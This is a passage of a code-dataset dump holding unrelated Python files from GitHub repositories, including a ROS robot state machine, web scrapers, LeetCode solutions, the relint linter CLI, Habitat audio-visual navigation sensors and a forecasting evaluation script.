0.6\n self.rate = rospy.Rate(5)\n self.max_size_contour = -1\n self.angle_of_max = 0\n\n self.start_time = t.time()\n self.timeout = 27\n self.drive_dst = 40\n\n def __get_mothership_pos__(self):\n # Coordinate system [0,1] top left corner is (0,0)\n try:\n return commands.mothership_srv()\n except Exception as e:\n print(e)\n mothership_pos = MothershipResponse()\n mothership_pos.x = -1\n mothership_pos.y = -1\n mothership_pos.theta = -1\n return mothership_pos\n\n def __get_potential_mothership_pos__(self):\n try:\n return commands.big_orange_srv()\n except Exception as e:\n mothership_pos = MothershipResponse()\n mothership_pos.x = -1\n mothership_pos.y = -1\n mothership_pos.theta = -1\n return mothership_pos\n\n def run(self):\n self.rate.sleep()\n commands.send_drive_vel_command(0, self.rotate_speed)\n mothership_pos = self.__get_mothership_pos__()\n\n if t.time() - self.start_time > self.timeout:\n commands.send_drive_vel_command(0,0)\n\n target_angle = self.angle_of_max - 60\n pt_x = 48 + self.drive_dst * cos(radians(target_angle))\n pt_y = 48 + self.drive_dst * sin(radians(target_angle))\n\n tmp_bad_points = []\n for p in drive_utils.grid:\n if geometry_utils.pointInEllipse(48, 48, self.angle_of_max, p[0], p[1], 100, 30) \\\n and not geometry_utils.pointInEllipse(48, 48, self.angle_of_max, p[0], p[1], 12, 30):\n tmp_bad_points.append(p)\n globals.bad_points.add(p)\n\n drive_utils.go_to_point((pt_x, pt_y))\n\n for p in tmp_bad_points:\n globals.bad_points.remove(p)\n return FindMothershipState('if you are reading this help me')\n\n\n if mothership_pos.y >= 0:\n self.mothership_found = True\n commands.send_drive_vel_command(0,0)\n\n from straighten_to_mothership_state import StraightenToMothershipState\n return StraightenToMothershipState()\n else:\n drive_utils.wait_for_pose_update()\n pot_mothership_pos = self.__get_potential_mothership_pos__()\n if pot_mothership_pos.x > self.max_size_contour:\n self.max_size_contour = pot_mothership_pos.x\n self.angle_of_max = drive_utils.robot_theta \n print(self.angle_of_max)\n return self\n","repo_name":"erbornemeier/IEEERobotics2019","sub_path":"ros_catkin_ws/src/scheduler/src/state_machine/find_mothership_state.py","file_name":"find_mothership_state.py","file_ext":"py","file_size_in_byte":3372,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"74551773052","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nimport boto3\n\n\nDRIVER_PATH = './chromedriver'\nURL = 'https://www2.hm.com/de_de/home/produkte/kissen.html'\n\noptions = Options()\noptions.add_argument(\"--no-sandbox\")\noptions.add_argument(\"--headless\")\noptions.add_argument('--remote-debugging-port=9222')\n\nwd = webdriver.Chrome(options=options, executable_path=DRIVER_PATH, service_log_path='./log.txt')\n\nwd.execute_cdp_cmd('Network.setUserAgentOverride', {\"userAgent\": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36'})\n\nwd.get(URL) # Gibt den HTML Code der Seite zurück.\n\nsns = boto3.client('sns')\n\nresponse = sns.publish(\n PhoneNumber='+4915162513577',\n Message='Artikel xyz ist jetzt bei H und M verfügbar!', \n)","repo_name":"ThomasTusche/web_scraper","sub_path":"web_scraper.py","file_name":"web_scraper.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38901832481","text":"# -*- coding: utf-8 -*-\n# ======================================\n# @File : 1146.py\n# @Time : 2019/12/3 0:12\n# @Author : Rivarrl\n# ======================================\nfrom algorithm_utils import *\n\nclass SnapshotArray:\n\n def __init__(self, length: int):\n self.snap_list = [{0: 0} for _ in range(length)]\n self.snap_id = 0\n self.length = length\n\n def set(self, index: int, val: int) -> None:\n self.snap_list[index][self.snap_id] = val\n\n def snap(self) -> int:\n self.snap_id += 1\n return self.snap_id - 1\n\n def get(self, index: int, snap_id: int) -> int:\n # 存在就直接返回\n if snap_id in self.snap_list[index]: return self.snap_list[index][snap_id]\n # 不存在就找第一个比它小的数\n s_list = list(self.snap_list[index].keys())\n lo, hi = 0, len(s_list)\n while lo < hi:\n mid = lo + (hi - lo) // 2\n if s_list[mid] < snap_id:\n lo = mid + 1\n else:\n hi = mid\n return self.snap_list[index][s_list[lo-1]]\n\nif __name__ == '__main__':\n a = SnapshotArray(4)\n a.snap()\n a.snap()\n x = a.get(3, 1)\n print(x)\n a.set(2, 4)\n a.snap()\n a.set(1, 4)\n a.snap()\n print(a.snap_list)\n x = a.get(3, 0)\n print(x)\n","repo_name":"Rivarrl/leetcode_python","sub_path":"leetcode/901-1200/1146.py","file_name":"1146.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"22332809756","text":"import csv\nfrom bs4 import BeautifulSoup\nimport requests\n\nsource = requests.get('https://www.telia.lt/prekes/mobilieji-telefonai/samsung').text\nsoup = BeautifulSoup(source, 'html.parser')\n\nwith open(\"telia_telefonai.csv\", 'w', encoding=\"UTF-8\", newline=\"\") as file:\n csv_writer = csv.writer(file)\n csv_writer.writerow(['PAVADINIMAS', 'MĖNESIO KAINA', 'KAINA'])\n blokai = soup.find_all('div', class_='mobiles-product-card card card__product card--anim js-product-compare-product')\n for blokas in blokai:\n pavadinimas = blokas.find('a', class_=\"mobiles-product-card__title js-open-product\").get_text().strip()\n men_kaina = blokas.find('div', class_=\"mobiles-product-card__price-marker\").get_text().strip()\n kaina = blokas.find_all('div', class_='mobiles-product-card__price-marker')[1].get_text().strip()\n csv_writer.writerow([pavadinimas, men_kaina, kaina])\n print(pavadinimas, men_kaina, kaina)\n","repo_name":"DonatasNoreika/web_scraping_pavyzdziai","sub_path":"telia_scraping.py","file_name":"telia_scraping.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17741092799","text":"import sqlite3\n\ncon = sqlite3.connect('LMS.db')\ncur = con.cursor()\n\nclass CLIStoreBook:\n def __init__(self):\n pass # You can perform any necessary initialization here\n\n def save_book(self, book_name, author, book_pages):\n \"\"\"\n Saves the book and updates the database\n \"\"\"\n if book_name != '' and author != '' and book_pages != '':\n try:\n query = \"INSERT INTO books(book_name, author, book_pages) VALUES (?, ?, ?)\"\n cur.execute(query, (book_name, author, book_pages))\n con.commit()\n print('Book has been saved successfully')\n except:\n print('Transaction failed!')\n else:\n print('All fields are required!')\n\n def run(self):\n print(\"CLI Library Management System\")\n while True:\n print(\"\\n1. Add New Book\")\n print(\"2. Exit\")\n choice = input(\"Enter your choice: \")\n\n if choice == '1':\n book_name = input(\"Enter book name: \")\n author = input(\"Enter author name: \")\n book_pages = input(\"Enter book pages: \")\n self.save_book(book_name, author, book_pages)\n elif choice == '2':\n print(\"Exiting the Library Management System.\")\n break\n else:\n print(\"Invalid choice. Please try again.\")\n\nif __name__ == '__main__':\n cli_store_book = CLIStoreBook()\n cli_store_book.run()\n","repo_name":"olami18/library-system-project","sub_path":"lib/books.py","file_name":"books.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73948817530","text":"import argparse\nimport glob\nimport subprocess # nosec\nimport sys\nimport warnings\n\nfrom rich.progress import track\n\nfrom relint.config import load_config\nfrom relint.parse import lint_file, match_with_diff_changes, parse_diff, print_culprits\n\n\ndef parse_args(args=None):\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--version\",\n action=\"store_true\",\n help=\"Show relint version and exit.\",\n )\n parser.add_argument(\n \"files\",\n metavar=\"FILE\",\n type=str,\n nargs=\"*\",\n help=\"Path to one or multiple files to be checked.\",\n )\n parser.add_argument(\n \"-c\",\n \"--config\",\n metavar=\"CONFIG_FILE\",\n type=str,\n default=\".relint.yml\",\n help=\"Path to config file, default: .relint.yml\",\n )\n parser.add_argument(\n \"-d\", \"--diff\", action=\"store_true\", help=\"Analyze content from a diff.\"\n )\n parser.add_argument(\n \"--git-diff\",\n action=\"store_true\",\n help=\"Analyze content from git diff directly by calling `git diff --staged`.\",\n )\n parser.add_argument(\n \"-W\", \"--fail-warnings\", action=\"store_true\", help=\"Fail for warnings.\"\n )\n parser.add_argument(\n \"--ignore-warnings\",\n action=\"store_true\",\n help=\"Do not output warnings. Could be useful when using relint in CI.\",\n )\n parser.add_argument(\n \"--summarize\",\n action=\"store_true\",\n help=\"Summarize the output by grouping matches by test.\",\n ),\n parser.add_argument(\n \"--code-padding\",\n type=int,\n default=2,\n help=(\n \"Lines of padding to show around the matching code snippet. Default: 2\\n\"\n \"Set to -1 disable code snippet output.\"\n ),\n )\n return parser.parse_args(args=args)\n\n\ndef main(args=None):\n args = parse_args(args=args)\n if args.version:\n from . import __version__\n\n print(f\"relint: {__version__}\")\n exit(0)\n paths = {\n path\n for file in args.files\n for path in glob.iglob(glob.escape(file), recursive=True)\n }\n\n tests = list(load_config(args.config, args.fail_warnings, args.ignore_warnings))\n\n matches = []\n for path in track(paths, description=\"Linting files...\"):\n matches.extend(lint_file(path, tests))\n\n output = \"\"\n if args.diff:\n output = sys.stdin.read()\n elif args.git_diff:\n output = subprocess.check_output( # nosec\n [\"git\", \"diff\", \"--staged\", \"--unified=0\", \"--no-color\"],\n universal_newlines=True,\n )\n if args.diff or args.git_diff:\n changed_content = parse_diff(output)\n matches = match_with_diff_changes(changed_content, matches)\n\n exit_code = print_culprits(matches, args)\n exit(exit_code)\n\n\nif not sys.warnoptions:\n warnings.simplefilter(\"default\")\n\nif __name__ == \"__main__\":\n main() # pragma: no cover\n","repo_name":"codingjoe/relint","sub_path":"relint/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2930,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"78"} +{"seq_id":"41636330394","text":"def max_sub_array(numbers: list[int]) -> int:\n \"\"\"\n Find the maximum possible sum of a non-empty subarray of numbers, and return it\n Note : Treat the list as a circular list\n\n :param numbers: List of integers\n :return: The maximum possible sum of a non-empty subarray of numbers\n\n Time Complexity: o(n)\n Space Complexity: o(1)\n \"\"\"\n\n def max_sub_array(numbers: list[int]) -> int:\n \"\"\"\n Find the subarray with the largest sum, and return it\n\n :param numbers: List of integers\n :return: The subarray with the largest sum\n\n Time Complexity: o(n)\n Space Complexity: o(1)\n \"\"\"\n # Loop to traverse each cell in numbers from end to start\n for index in range(len(numbers) - 2, -1, -1):\n\n # Updating the current index value because adding the value from his right (sequence) enlarging him\n if numbers[index] + numbers[index + 1] > numbers[index]:\n numbers[index] += numbers[index + 1]\n\n # Returning the maximum numbers in numbers, after we update each cell to be his highest possible\n return max(numbers)\n\n # Special case : List of 1 element\n if len(numbers) == 1:\n return numbers[0]\n\n # Maximal without first element\n drop = max_sub_array(numbers[1:])\n\n # Maximal with first element selected\n pick = sum(numbers) + max(0, max_sub_array([-number for number in numbers[1:]]))\n\n # Returning the maximum possible sum of a non-empty subarray of numbers\n return max(drop, pick)\n","repo_name":"Nitzantomer1998/LeetCode","sub_path":"Python/Dynamic Programming/Dynamic Programming I/918. Maximum Sum Circular Subarray.py","file_name":"918. Maximum Sum Circular Subarray.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42712725884","text":"from typing import Any, Type, Union\n\nimport numpy as np\nfrom gym import spaces\n\nfrom habitat.config import Config\nfrom habitat.core.dataset import Episode\nfrom habitat.tasks.nav.nav import NavigationTask, SimulatorTaskAction\nfrom habitat.core.registry import registry\nfrom habitat.core.simulator import (\n Sensor,\n SensorTypes,\n Simulator,\n)\nfrom habitat.tasks.utils import (\n cartesian_to_polar,\n quaternion_from_coeff,\n quaternion_rotate_vector,\n)\nfrom habitat.sims.habitat_simulator.actions import HabitatSimActions\n\n\ndef merge_sim_episode_config(\n sim_config: Config, episode: Type[Episode]\n) -> Any:\n sim_config.defrost()\n # here's where the scene update happens, extract the scene name out of the path\n sim_config.SCENE = episode.scene_id\n sim_config.freeze()\n if (\n episode.start_position is not None\n and episode.start_rotation is not None\n ):\n agent_name = sim_config.AGENTS[sim_config.DEFAULT_AGENT_ID]\n agent_cfg = getattr(sim_config, agent_name)\n agent_cfg.defrost()\n agent_cfg.START_POSITION = episode.start_position\n agent_cfg.START_ROTATION = episode.start_rotation\n agent_cfg.TARGET_CLASS = episode.info[0][\"target_label\"]\n\n agent_cfg.AUDIO_SOURCE_POSITIONS = []\n for source in episode.goals:\n agent_cfg.AUDIO_SOURCE_POSITIONS.append(source.position)\n\n agent_cfg.SOUND_NAMES = []\n for source_info in episode.info:\n agent_cfg.SOUND_NAMES.append(source_info[\"sound\"])\n\n agent_cfg.SOUND_STARTING_SAMPLING_IDXS = []\n for source_info_idx in range(len(episode.info)):\n source_info = (episode.info)[source_info_idx]\n agent_cfg.SOUND_STARTING_SAMPLING_IDXS.append(source_info[\"start_idx\"] * sim_config.AUDIO.RIR_SAMPLING_RATE)\n\n agent_cfg.IS_SET_START_STATE = True\n agent_cfg.freeze()\n return sim_config\n\n\n@registry.register_task(name=\"AAViDSS\")\nclass AAViDSSTask(NavigationTask):\n def overwrite_sim_config(\n self, sim_config: Any, episode: Type[Episode]\n ) -> Any:\n return merge_sim_episode_config(sim_config, episode)\n\n def _check_episode_is_active(self, *args: Any, **kwargs: Any) -> bool:\n return self._sim._is_episode_active\n\n\n@registry.register_sensor\nclass MixedBinAudioMagSensor(Sensor):\n r\"\"\"Mixed binaural spectrogram magnitude at the current step\n \"\"\"\n\n def __init__(self, *args: Any, sim: Simulator, config: Config, **kwargs: Any):\n self._sim = sim\n super().__init__(config=config)\n\n def _get_uuid(self, *args: Any, **kwargs: Any):\n return \"mixed_bin_audio_mag\"\n\n def _get_sensor_type(self, *args: Any, **kwargs: Any):\n return SensorTypes.PATH\n\n def _get_observation_space(self, *args: Any, **kwargs: Any):\n assert hasattr(self.config, 'FEATURE_SHAPE')\n sensor_shape = self.config.FEATURE_SHAPE\n\n return spaces.Box(\n low=np.finfo(np.float32).min,\n high=np.finfo(np.float32).max,\n shape=sensor_shape,\n dtype=np.float32,\n )\n\n def get_observation(self, *args: Any, observations, episode: Episode, **kwargs: Any):\n return self._sim.get_current_mixed_bin_audio_mag_spec()\n\n\n@registry.register_sensor\nclass MixedBinAudioPhaseSensor(Sensor):\n r\"\"\"Mixed binaural spectrogram phase at the current step\n \"\"\"\n\n def __init__(self, *args: Any, sim: Simulator, config: Config, **kwargs: Any):\n self._sim = sim\n super().__init__(config=config)\n\n def _get_uuid(self, *args: Any, **kwargs: Any):\n return \"mixed_bin_audio_phase\"\n\n def _get_sensor_type(self, *args: Any, **kwargs: Any):\n return SensorTypes.PATH\n\n def _get_observation_space(self, *args: Any, **kwargs: Any):\n assert hasattr(self.config, 'FEATURE_SHAPE')\n sensor_shape = self.config.FEATURE_SHAPE\n\n return spaces.Box(\n low=np.finfo(np.float32).min,\n high=np.finfo(np.float32).max,\n shape=sensor_shape,\n dtype=np.float32,\n )\n\n def get_observation(self, *args: Any, observations, episode: Episode, **kwargs: Any):\n return self._sim.get_current_mixed_bin_audio_phase_spec()\n\n\n@registry.register_sensor\nclass GtMonoComponentsSensor(Sensor):\n r\"\"\"Ground truth monaural components at the current step\n \"\"\"\n\n def __init__(self, *args: Any, sim: Simulator, config: Config, **kwargs: Any):\n self._sim = sim\n super().__init__(config=config)\n\n def _get_uuid(self, *args: Any, **kwargs: Any):\n return \"gt_mono_comps\"\n\n def _get_sensor_type(self, *args: Any, **kwargs: Any):\n return SensorTypes.PATH\n\n def _get_observation_space(self, *args: Any, **kwargs: Any):\n assert hasattr(self.config, 'FEATURE_SHAPE')\n sensor_shape = self.config.FEATURE_SHAPE\n\n return spaces.Box(\n low=np.finfo(np.float32).min,\n high=np.finfo(np.float32).max,\n shape=sensor_shape,\n dtype=np.float32,\n )\n\n def get_observation(self, *args: Any, observations, episode: Episode, **kwargs: Any):\n return self._sim.get_current_gt_mono_audio_components()\n\n\n@registry.register_sensor\nclass GtBinComponentsSensor(Sensor):\n r\"\"\"Ground truth binaural components at the current step\n \"\"\"\n\n def __init__(self, *args: Any, sim: Simulator, config: Config, **kwargs: Any):\n self._sim = sim\n super().__init__(config=config)\n\n def _get_uuid(self, *args: Any, **kwargs: Any):\n return \"gt_bin_comps\"\n\n def _get_sensor_type(self, *args: Any, **kwargs: Any):\n return SensorTypes.PATH\n\n def _get_observation_space(self, *args: Any, **kwargs: Any):\n assert hasattr(self.config, 'FEATURE_SHAPE')\n sensor_shape = self.config.FEATURE_SHAPE\n\n return spaces.Box(\n low=np.finfo(np.float32).min,\n high=np.finfo(np.float32).max,\n shape=sensor_shape,\n dtype=np.float32,\n )\n\n def get_observation(self, *args: Any, observations, episode: Episode, **kwargs: Any):\n return self._sim.get_current_gt_bin_audio_components()\n\n\n@registry.register_sensor(name=\"TargetClassSensor\")\nclass TargetClassSensor(Sensor):\n r\"\"\"Target class for the current episode\n \"\"\"\n\n def __init__(\n self, sim: Union[Simulator, Config], config: Config, *args: Any, **kwargs: Any\n ):\n super().__init__(config=config)\n self._sim = sim\n\n def _get_uuid(self, *args: Any, **kwargs: Any):\n return \"target_class\"\n\n def _get_sensor_type(self, *args: Any, **kwargs: Any):\n return SensorTypes.COLOR\n\n def _get_observation_space(self, *args: Any, **kwargs: Any):\n return spaces.Box(\n low=0,\n high=1,\n shape=(1,),\n dtype=bool\n )\n\n def get_observation(\n self, *args: Any, observations, episode: Episode, **kwargs: Any\n ) -> object:\n return [self._sim.target_class]\n\n\n@registry.register_task_action\nclass PauseAction(SimulatorTaskAction):\n name: str = \"PAUSE\"\n\n def step(self, *args: Any, **kwargs: Any):\n r\"\"\"Update ``_metric``, this method is called from ``Env`` on each\n ``step``.\n \"\"\"\n return self._sim.step(HabitatSimActions.PAUSE)\n\n\n@registry.register_sensor(name=\"PoseSensor\")\nclass PoseSensor(Sensor):\n r\"\"\"The agents current location and heading in the coordinate frame defined by the\n episode, i.e. the axis it faces along and the origin is defined by its state at\n t=0. Additionally contains the time-step of the episode.\n Args:\n sim: reference to the simulator for calculating task observations.\n config: Contains the DIMENSIONALITY field for the number of dimensions to express the agents position\n Attributes:\n _dimensionality: number of dimensions used to specify the agents position\n \"\"\"\n cls_uuid: str = \"pose\"\n\n def __init__(\n self, sim: Simulator, config: Config, *args: Any, **kwargs: Any\n ):\n self._sim = sim\n self._episode_time = 0\n self._current_episode_id = None\n super().__init__(config=config)\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return self.cls_uuid\n\n def _get_sensor_type(self, *args: Any, **kwargs: Any):\n return SensorTypes.POSITION\n\n def _get_observation_space(self, *args: Any, **kwargs: Any):\n return spaces.Box(\n low=np.finfo(np.float32).min,\n high=np.finfo(np.float32).max,\n shape=(4,),\n dtype=np.float32,\n )\n\n def _quat_to_xy_heading(self, quat):\n direction_vector = np.array([0, 0, -1])\n\n heading_vector = quaternion_rotate_vector(quat, direction_vector)\n\n phi = cartesian_to_polar(-heading_vector[2], heading_vector[0])[1]\n return np.array([phi], dtype=np.float32)\n\n def get_observation(\n self, observations, episode, *args: Any, **kwargs: Any\n ):\n episode_uniq_id = f\"{episode.scene_id} {episode.episode_id}\"\n if episode_uniq_id != self._current_episode_id:\n self._episode_time = 0.0\n self._current_episode_id = episode_uniq_id\n\n agent_state = self._sim.get_agent_state()\n\n origin = np.array(episode.start_position, dtype=np.float32)\n rotation_world_start = quaternion_from_coeff(episode.start_rotation)\n\n agent_position_xyz = agent_state.position\n rotation_world_agent = agent_state.rotation\n\n agent_position_xyz = quaternion_rotate_vector(\n rotation_world_start.inverse(), agent_position_xyz - origin\n )\n\n agent_heading = self._quat_to_xy_heading(\n rotation_world_agent.inverse() * rotation_world_start\n )\n\n ep_time = self._episode_time\n self._episode_time += 1.0\n\n return np.array(\n [-agent_position_xyz[2], agent_position_xyz[0], agent_heading, ep_time],\n dtype=np.float32\n )\n","repo_name":"SAGNIKMJR/active-AV-dynamic-separation","sub_path":"habitat_audio/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":9978,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"37369422869","text":"import tkinter\nfrom tkinter import *\nimport mysql.connector\nmydb = mysql.connector.connect(\n host=\"localhost\",\n user=\"root\",\n password=\"\",\n database = 'Event'\n)\nmycursor = mydb.cursor()\n\nroot = Tk()\nroot.geometry(\"400x400\")\n\nregno= StringVar()\nname = StringVar()\ndept = StringVar()\nage = StringVar()\nmale= IntVar()\nfemale = IntVar()\n\nregno_label = Label(root,text=\"Reg No.\").place(x=2,y=10)\nregno_entry = Entry(root,textvariable=regno).place(x=70,y=10)\n\nname_label = Label(root,text=\"Name :\").place(x=2,y=50)\nname_entry = Entry(root,textvariable=name).place(x=70,y=50)\n\ndept_label = Label(root,text=\"Dept\").place(x=2,y=90)\ndept_entry = Entry(root,textvariable=dept).place(x=70,y=90)\n\ngender_label = Label(root,text=\"Gender\").place(x=2,y=130)\nmale_check = Checkbutton(root,text=\"Male\",variable=male,onvalue=1,offvalue=0).place(x=100,y=130)\nfemale_check = Checkbutton(root,text=\"Female\",variable=female,onvalue=1,offvalue=0).place(x=180,y=130)\n\nage_label = Label(root,text=\"Age\").place(x=2,y=170)\nspin = Spinbox(root,textvariable=age, from_=1,to=25).place(x=70,y=170)\n\ndef insert():\n if male.get()==1:\n s=\"Male\"\n else:\n s=\"Female\"\n q=\"insert into gui3 values('{}','{}','{}','{}',{})\".format(regno.get(),name.get(),dept.get(),s,int(age.get()))\n mycursor.execute(q)\n mydb.commit()\ndef delete():\n q=\"delete from gui3 where name='{}'\".format(name.get())\n mycursor.execute(q)\n mydb.commit()\ndef select():\n q=\"select * from gui3\"\n mycursor.execute(q)\n data=mycursor.fetchall()\n print(data)\n\n\ninsert_button = Button(root,text=\"Insert\",command=insert).place(x=5,y=200)\nupdate_button = Button(root,text=\"Update\").place(x=100,y=200)\ndelete_button = Button(root,text=\"Delete\",command=delete).place(x=5,y=250)\nselect_button = Button(root,text=\"Select\",command=select).place(x=100,y=250)\n\nroot.mainloop()\n","repo_name":"11Aryan/GUI_Python","sub_path":"gui3.py","file_name":"gui3.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74369655290","text":"\"\"\"Annotate the segmented tissue.\"\"\"\n\nimport skimage.draw\n\nfrom jicbioimage.core.transform import transformation\nfrom jicbioimage.illustrate import AnnotatedImage\nfrom jicbioimage.core.util.color import pretty_color\n\nfrom util import argparse_get_image\nfrom segment import segment\nfrom transform import rotate\n\n\ndef annotate_segmentation(image, segmentation):\n \"\"\"Return annotated segmentation.\"\"\"\n annotation = AnnotatedImage.from_grayscale(image)\n for i in segmentation.identifiers:\n region = segmentation.region_by_identifier(i)\n color = pretty_color()\n annotation.mask_region(region.border.dilate(), color)\n\n props = skimage.measure.regionprops(segmentation)\n\n for p in props:\n\n try:\n minr, minc, maxr, maxc = p.bbox\n cval = int(p.centroid[1])\n line = skimage.draw.line(minr, cval, maxr, cval)\n annotation.mask_region(line, (0, 255, 0))\n except IndexError:\n # Don't draw line if it falls outside of the image.\n pass\n\n return annotation\n\n\n@transformation\ndef annotate(image):\n \"\"\"Return annotated image.\"\"\"\n segmentation, angle = segment(image)\n\n image = rotate(image, angle)\n return annotate_segmentation(image, segmentation)\n\n\ndef main():\n image = argparse_get_image()\n a = annotate(image)\n with open(\"annotated.png\", \"wb\") as fh:\n fh.write(a.png())\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"JIC-CSB/wheat-leaf-segmentation","sub_path":"scripts/annotate.py","file_name":"annotate.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"17274256617","text":"import pandas as pd\nimport numpy as np\nimport torch\nimport properscoring as ps\n#%% Load data\ndf_lgb = pd.read_csv('experiments/02_hierarchical_time_series/results_lightgbm_mse.csv')\ndf_pgbm = pd.read_csv('experiments/02_hierarchical_time_series/results_pgbm_mse.csv')\ndf_ngboost = pd.read_csv('experiments/02_hierarchical_time_series/results_ngboost_mse.csv')\ndf_pgbm_wmse = pd.read_csv('experiments/02_hierarchical_time_series/results_pgbm_wmse.csv')\n#%% Create levels\niteminfo = df_lgb[['date','item_id_enc', 'dept_id_enc', 'cat_id_enc']]\nlevels = []\nlevels.append(torch.from_numpy(pd.get_dummies(iteminfo['date']).values).bool())\nlevels.append(torch.from_numpy(pd.get_dummies(iteminfo['dept_id_enc']).values).bool())\nlevels.append(torch.from_numpy(pd.get_dummies(iteminfo['cat_id_enc']).values).bool())\n#%% Calculate RMSE per level\ndef rmse_levels(yhat, y, levels):\n # Retrieve levels\n days = levels[0].T\n depts = levels[1]\n cats = levels[2]\n n_days = days.shape[0]\n n_depts = levels[1].shape[1]\n n_cats = levels[2].shape[1]\n # Create loss per level\n loss_0 = (yhat - y).pow(2).mean().sqrt()\n loss_1 = torch.zeros((n_days, n_depts))\n loss_2 = torch.zeros((n_days, n_cats))\n loss_3 = torch.zeros(n_days)\n # Loop over days \n for day in range(n_days):\n current_day = days[day]\n yd = y[current_day]\n yhatd = yhat[current_day]\n deptd = depts[current_day]\n catd = cats[current_day]\n # Level 1\n level_1yd = (yd[:, None] * deptd).sum(0)\n level_1yhatd = (yhatd[:, None] * deptd).sum(0)\n loss_1[day] = (level_1yhatd - level_1yd).pow(2)\n # Level 2\n level_2yd = (yd[:, None] * catd).sum(0)\n level_2yhatd = (yhatd[:, None] * catd).sum(0)\n loss_2[day] = (level_2yhatd - level_2yd).pow(2) \n # Level 3\n level_3yd = yd.sum(0)\n level_3yhatd = yhatd.sum(0)\n loss_3[day] = (level_3yhatd - level_3yd).pow(2) \n \n loss = (loss_0, loss_1.mean().sqrt(), loss_2.mean().sqrt(), loss_3.mean().sqrt())\n \n return loss\n#%% LightGBM-MSE\nyhat_lgb_mse = torch.from_numpy(df_lgb['yhat_lgb'].values)\ny_lgb_mse = torch.from_numpy(df_lgb['y'].values)\nrmse_lgb_mse = rmse_levels(yhat_lgb_mse, y_lgb_mse, levels) \n#%% PGBM-MSE\nyhat_pgbm_mse = torch.from_numpy(df_pgbm['yhat_pgbm_mu'].values)\ny_pgbm_mse = torch.from_numpy(df_pgbm['y'].values)\nrmse_pgbm_mse = rmse_levels(yhat_pgbm_mse, y_pgbm_mse, levels) \n#%% NGBoost-MSE\nyhat_ngboost_mse = torch.from_numpy(df_ngboost['yhat_ngboost_mu'].values)\ny_ngboost_mse = torch.from_numpy(df_ngboost['y'].values)\nrmse_ngboost_mse = rmse_levels(yhat_ngboost_mse, y_ngboost_mse, levels) \n#%% PGBM-wMSE\nyhat_pgbm_wmse = torch.from_numpy(df_pgbm_wmse['yhat_pgbm_mu'].values)\ny_pgbm_wmse = torch.from_numpy(df_pgbm_wmse['y'].values)\nrmse_pgbm_wmse = rmse_levels(yhat_pgbm_wmse, y_pgbm_wmse, levels) \n#%% Calculate CRPS per level\ndef crps_levels(yhat_dist, y, levels):\n # Retrieve levels\n days = levels[0].T\n depts = levels[1]\n cats = levels[2]\n n_days = days.shape[0]\n n_depts = levels[1].shape[1]\n n_cats = levels[2].shape[1]\n # Create loss per level\n loss_0 = ps.crps_ensemble(y, yhat_dist).mean()\n loss_1 = np.zeros((n_days, n_depts))\n loss_2 = np.zeros((n_days, n_cats))\n loss_3 = np.zeros(n_days)\n # Loop over days \n for day in range(n_days):\n current_day = days[day]\n yd = y[current_day]\n yhatd = yhat_dist[current_day]\n deptd = depts[current_day]\n catd = cats[current_day]\n # Level 1\n level_1yd = (yd[:, None] * deptd).sum(0)\n level_1yhatd = (yhatd[:, None, :] * deptd[:, :, None]).sum(0)\n loss_1[day] = ps.crps_ensemble(level_1yd, level_1yhatd)\n # Level 2\n level_2yd = (yd[:, None] * catd).sum(0)\n level_2yhatd = (yhatd[:, None, :] * catd[:, :, None]).sum(0)\n loss_2[day] = ps.crps_ensemble(level_2yd, level_2yhatd) \n # Level 3\n level_3yd = yd.sum(0)\n level_3yhatd = yhatd.sum(0)\n loss_3[day] = ps.crps_ensemble(level_3yd, level_3yhatd) \n \n loss = (loss_0, loss_1.mean(), loss_2.mean(), loss_3.mean())\n \n return loss\n#%% PGBM-MSE\nyhat_dist_pgbm_mse = torch.from_numpy(df_pgbm.iloc[:,6:].values)\ny_pgbm_mse = torch.from_numpy(df_pgbm['y'].values)\ncrps_pgbm_mse = crps_levels(yhat_dist_pgbm_mse, y_pgbm_mse, levels)\n#%% NGBoost-MSE\nyhat_dist_ngboost_mse = torch.from_numpy(df_ngboost.iloc[:,6:].values)\ny_ngboost_mse = torch.from_numpy(df_ngboost['y'].values)\ncrps_ngboost_mse = crps_levels(yhat_dist_ngboost_mse, y_ngboost_mse, levels)\n#%% PGBM-wMSE\nyhat_dist_pgbm_wmse = torch.from_numpy(df_pgbm_wmse.iloc[:,6:].values)\ny_pgbm_wmse = torch.from_numpy(df_pgbm_wmse['y'].values)\ncrps_pgbm_wmse = crps_levels(yhat_dist_pgbm_wmse, y_pgbm_wmse, levels)","repo_name":"elephaint/pgbm","sub_path":"paper/experiments/02_hierarchical_time_series/03_evaluation.py","file_name":"03_evaluation.py","file_ext":"py","file_size_in_byte":4826,"program_lang":"python","lang":"en","doc_type":"code","stars":126,"dataset":"github-code","pt":"78"} +{"seq_id":"25150087105","text":"import sys\ninput = sys.stdin.readline\n\n\nA = []\nb = 0\nans = ''\nfor _ in 